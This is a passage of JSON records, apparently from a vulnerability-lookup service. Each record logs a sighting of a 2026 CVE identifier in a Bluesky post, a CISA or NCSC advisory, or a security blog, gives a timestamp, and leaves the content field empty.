"2026-03-02T16:26:30.314552Z"}, {"uuid": "f5183844-6fea-41df-ac3a-17dd6a7f3818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mdmv5vmou62i", "content": "", "creation_timestamp": "2026-01-30T08:30:06.185847Z"}, {"uuid": "489adbce-9087-4097-acff-1daa8d53718d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24834", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfkkbf4pyu2m", "content": "", "creation_timestamp": "2026-02-23T21:00:15.710820Z"}, {"uuid": "a52c8a89-5fe4-454c-82f5-0284c754390a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/google-chrome-security-advisory-av26-130", "content": "", "creation_timestamp": "2026-02-16T14:10:18.000000Z"}, {"uuid": "f98387f8-b561-4d46-a4c0-b65a22761c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mf4wwswnuz24", "content": "", "creation_timestamp": "2026-02-18T11:09:43.216005Z"}, {"uuid": "3ba3a327-57f7-456a-90be-579888e9362a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3meykqucmfc2b", "content": "", "creation_timestamp": "2026-02-16T17:21:04.679046Z"}, {"uuid": "143e82a9-6886-4425-8915-deddeacd52e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24834", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3mfb5zqxncy2a", "content": "", "creation_timestamp": "2026-02-20T03:27:17.817364Z"}, {"uuid": "af826486-20fc-4131-883e-d5402ea6153a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mfb67bg3rs2y", "content": "", "creation_timestamp": "2026-02-20T03:30:22.494489Z"}, {"uuid": "217abcf6-26b5-4405-9f6d-c0bb5fccebd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/onecooltip.bsky.social/post/3meyntanaxs2p", "content": "", "creation_timestamp": "2026-02-16T18:16:03.251386Z"}, {"uuid": "0830a5df-d7c7-4d1e-8594-9906713dbc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/jimguckin.bsky.social/post/3meyohp7uxk2y", "content": "", "creation_timestamp": "2026-02-16T18:27:28.926862Z"}, {"uuid": "96f57ee2-5137-498d-a00d-a4b08141d873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24663", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "69f5865f-6acf-48f4-9f84-c454e244930b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/guardian360.bsky.social/post/3meyomdnrec24", "content": "", "creation_timestamp": "2026-02-16T18:30:03.435426Z"}, {"uuid": "f16e5975-6fc9-4f27-a30f-a6dc7a7c7416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2499", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqhgidapa2e", "content": "", "creation_timestamp": "2026-02-26T05:25:23.796791Z"}, {"uuid": "25bfa60a-b1c7-4fff-9a00-2d9d9d5c3b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2489", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqhjtx7ly2n", "content": "", "creation_timestamp": "2026-02-26T05:27:16.560941Z"}, {"uuid": "f679acae-7664-4d68-95a6-74c5f8828224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24004", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqhngqxh22u", "content": "", "creation_timestamp": "2026-02-26T05:29:17.119464Z"}, {"uuid": "b85b7953-ef06-4f98-8313-8e2a836162e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24517", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "b4e8428a-d368-421d-9312-e0ce3b404bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24696", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mgfxnyy45t27", "content": "", "creation_timestamp": "2026-03-06T18:41:50.835829Z"}, {"uuid": "a907ce16-e236-484e-a4af-78ac4c2d3cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/mm-ilsoftware-bot.bsky.social/post/3mf2fxkrqww2e", "content": "", "creation_timestamp": "2026-02-17T11:00:35.021969Z"}, {"uuid": "bf57a0e3-b817-4e74-8536-24d870a49dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2498", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqhzvizpl2u", "content": "", "creation_timestamp": "2026-02-26T05:36:15.128975Z"}, {"uuid": "4f693112-41b0-45fa-a2ee-c08812abf97f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24689", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "ba0da304-dce2-47bd-8cc3-a543b54a7e45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3meyvd3qgly2d", "content": "", "creation_timestamp": "2026-02-16T20:30:08.791904Z"}, {"uuid": "ab82dddb-a965-4af2-9524-0863d0ca5509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/bettycjung.bsky.social/post/3mfko3u63z22k", "content": "", "creation_timestamp": "2026-02-23T22:08:46.138478Z"}, {"uuid": "358eaa23-a499-4a28-a926-f7073c34897c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24695", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "bd4043e1-29ae-45f3-94ba-17b5e1b5c9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24452", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "13ed400a-d8b3-4f73-a032-d7e0ed0a836b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24292", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "9b861cee-9de9-49d2-946b-f07f4a59572b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfkrkh35d32k", "content": "", "creation_timestamp": "2026-02-23T23:10:35.982036Z"}, {"uuid": "ab7eef53-318a-47f2-b9df-6dbd4ce82861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2416", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfogf3b3yc2t", "content": "", "creation_timestamp": "2026-02-25T10:01:23.652635Z"}, {"uuid": "510c0bcc-5601-4fe6-a7a5-8241b975c745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/osanpo.bsky.social/post/3meyzadhvon2x", "content": "", "creation_timestamp": "2026-02-16T21:40:11.321018Z"}, {"uuid": "5b7df439-6857-4f22-9fae-15b87775d9c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mez2di27732u", "content": "", "creation_timestamp": "2026-02-16T21:59:50.606243Z"}, {"uuid": "086d6567-1c14-4d31-ac7e-1f31e7e6cb51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24285", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "84fad03f-fd46-41f4-b0ce-64c3294493b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2439", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mez3zwbhal2r", "content": "", "creation_timestamp": "2026-02-16T22:30:17.362625Z"}, {"uuid": "bcc4223f-07ac-4222-9c28-e19306ca750a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/LLMs.activitypub.awakari.com.ap.brid.gy/post/3mdultap2fpu2", "content": "", "creation_timestamp": "2026-02-02T10:04:25.664740Z"}, {"uuid": "bd929833-b998-4e4b-b81f-62b80055ba86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2439", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116082672589489719", "content": "", "creation_timestamp": "2026-02-16T22:30:35.459625Z"}, {"uuid": "cad345b0-ce87-4656-96cb-240fe9eb9c5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24481", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfmyimt4mk2a", "content": "", "creation_timestamp": "2026-02-24T20:20:10.556934Z"}, {"uuid": "7ddf85c6-ff3c-451d-a69f-0960444d9a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2474", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mgadvkho5s2r", "content": "", "creation_timestamp": "2026-03-04T13:04:51.607097Z"}, {"uuid": "9395e2b2-fcee-4516-8063-258cdcf96850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mf2n7jvgzx26", "content": "", "creation_timestamp": "2026-02-17T13:10:18.507489Z"}, {"uuid": "25e84173-fbcd-4cfe-aef8-43df282bfc1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24101", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3ssq4uco2e", "content": "", "creation_timestamp": "2026-03-02T17:48:22.699852Z"}, {"uuid": "4b6a78c4-4f37-415c-aadb-358cfd2558f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24891", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfmzmeuhn223", "content": "", "creation_timestamp": "2026-02-24T20:40:10.322807Z"}, {"uuid": "1fcdae79-50ea-4721-b16d-cbe858525062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24445", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-07", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "01f8d3b2-e039-49ef-b7ce-3a0d8fd9db01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24027", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/159", "content": "", "creation_timestamp": "2026-02-10T10:00:10.000000Z"}, {"uuid": "a13fb588-f0d3-49b2-b511-b69cb118f1b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/secureblue.dev/post/3mes4ocbhb22m", "content": "", "creation_timestamp": "2026-02-14T03:53:04.097237Z"}, {"uuid": "7e081e61-c73b-4c99-9640-60d9c5c5e3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mf2oizfzd22m", "content": "", "creation_timestamp": "2026-02-17T13:33:35.203299Z"}, {"uuid": "d12057d8-a122-4346-8789-8bf5aef6346b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/gaeulbyul.bsky.social/post/3mfbqs3ctis2k", "content": "", "creation_timestamp": "2026-02-20T09:03:07.457839Z"}, {"uuid": "965a231e-98b2-4e26-9f62-69a668e74dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24110", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3tren3dj2o", "content": "", "creation_timestamp": "2026-03-02T18:05:31.053668Z"}, {"uuid": "237e0e7e-079c-4f9f-a739-dd7b9cec94c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mf2oq2cjfs2m", "content": "", "creation_timestamp": "2026-02-17T13:37:30.356038Z"}, {"uuid": "78b1558e-9044-4589-85c6-c496fcc81703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mf2pixxk6s2m", "content": "", "creation_timestamp": "2026-02-17T13:51:25.183134Z"}, {"uuid": "71b64175-3870-4170-9216-e3157313ddc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24696", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghl32jbfa2x", "content": "", "creation_timestamp": "2026-03-07T10:01:49.463903Z"}, {"uuid": "2b8cae0f-357c-451d-aa67-14929ab09577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/heir14-80.bsky.social/post/3mf2t5h2k522x", "content": "", "creation_timestamp": "2026-02-17T13:58:38.887946Z"}, {"uuid": "45df652e-dde2-4d4e-9090-37d7ef6fb2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24731", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-04", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "750e0320-4924-47ed-a190-a273f74f7e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3mf2qm2hqi22t", "content": "", "creation_timestamp": "2026-02-17T14:11:05.501224Z"}, {"uuid": "17e9781e-b702-4285-90c6-b5cb71e4f577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2433", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mghlhl73vg2u", "content": "", "creation_timestamp": "2026-03-07T10:08:49.359444Z"}, {"uuid": "40f96a76-9e6f-4626-851d-3d8abd7bd970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/codepo8.bsky.social/post/3mf2rxdggps2g", "content": "", "creation_timestamp": "2026-02-17T14:35:15.578397Z"}, {"uuid": "4fa02d77-dabe-42d6-ad63-6f35c9ec774d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24443", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn3rqs7ok2n", "content": "", "creation_timestamp": "2026-02-24T21:18:57.422700Z"}, {"uuid": "cd20810d-e932-4a39-bd38-35033777b088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2471", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvonom5wm2n", "content": "", "creation_timestamp": "2026-02-28T07:18:01.377789Z"}, {"uuid": "b4c96190-9148-4e14-a4c1-abd3b4179750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mf2uzt2hse2m", "content": "", "creation_timestamp": "2026-02-17T15:30:17.609407Z"}, {"uuid": "d1b564c4-3122-4e8b-9dd0-cd2250724085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24484", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfkywhvlyp2u", "content": "", "creation_timestamp": "2026-02-24T01:22:35.369533Z"}, {"uuid": "27500537-1e67-48ed-bb67-992cc935b44a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mf2vahie7y2b", "content": "", "creation_timestamp": "2026-02-17T15:33:59.644625Z"}, {"uuid": "d53c7dbc-fcf8-4558-9b2e-ed5d9db630ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24307", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3meppoqajec2e", "content": "", "creation_timestamp": "2026-02-13T04:55:22.037309Z"}, {"uuid": "4a0f1953-36d8-473e-8549-508770fd71f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3meppoqajec2e", "content": "", "creation_timestamp": "2026-02-13T04:55:22.488990Z"}, {"uuid": "f5449010-ef4d-455e-9c0c-abbca6bf85e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3meppoqajec2e", "content": "", "creation_timestamp": "2026-02-13T04:55:22.155749Z"}, {"uuid": "b68880e3-0397-474c-bdfd-afdfdf0759b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2469", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mesh67myzn27", "content": "", "creation_timestamp": "2026-02-14T07:00:55.041362Z"}, {"uuid": "678feeb4-f75b-4ad8-a555-d76d7de45b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mf5e3ww2y424", "content": "", "creation_timestamp": "2026-02-18T15:05:14.186932Z"}, {"uuid": "087fcdff-a645-4d8e-a714-259ecc56ffdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3meppoqajec2e", "content": "", "creation_timestamp": "2026-02-13T04:55:22.281942Z"}, {"uuid": "7afac518-cb30-4ded-b266-46150012d02f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24241", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn4fjuf222e", "content": "", "creation_timestamp": "2026-02-24T21:30:01.810726Z"}, {"uuid": "757ae3ab-13bc-474e-a52c-5f6e84d2c1dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24302", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3meppoqajec2e", "content": "", "creation_timestamp": "2026-02-13T04:55:22.383531Z"}, {"uuid": "9b54339b-1a0e-4797-915f-dac5bd384aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mezd5dyg2c2f", "content": "", "creation_timestamp": "2026-02-17T00:37:29.177580Z"}, {"uuid": "9a03aec5-4a28-4776-894f-0a344cc6d9da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24481", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfkzpfsdak2d", "content": "", "creation_timestamp": "2026-02-24T01:36:32.448512Z"}, {"uuid": "830ffe10-284b-4d99-8a8f-abf0aeafb715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24853", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meshizf25s2o", "content": "", "creation_timestamp": "2026-02-14T07:06:57.726752Z"}, {"uuid": "f3afe63c-298c-46e3-bb91-06d86ebc3c05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3meze36u7bs2w", "content": "", "creation_timestamp": "2026-02-17T00:54:09.592961Z"}, {"uuid": "c01f4c9e-efed-44a4-9d32-8f29cb2098e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2439", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf2wswergn2v", "content": "", "creation_timestamp": "2026-02-17T16:02:13.456707Z"}, {"uuid": "4426f3f1-0bdc-4c42-8858-b403e0442a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24485", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfkzpmmva72c", "content": "", "creation_timestamp": "2026-02-24T01:36:39.359366Z"}, {"uuid": "eed4cea3-1417-4e9c-856f-3693397ea394", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2410", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfot6ime3r2e", "content": "", "creation_timestamp": "2026-02-25T13:50:21.107003Z"}, {"uuid": "4c3cdb96-403b-4925-b6ef-de18e938624e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24684", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejaekkiws2a", "content": "", "creation_timestamp": "2026-02-10T15:05:13.012921Z"}, {"uuid": "f4800683-bbbd-47a7-9227-2df2f9eda600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24302", "type": "seen", "source": "https://www.thezdi.com/blog/2026/2/10/the-february-2026-security-update-review", "content": "", "creation_timestamp": "2026-02-10T17:30:28.000000Z"}, {"uuid": "9c86a6b5-c1b1-453b-b663-3894b51890d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 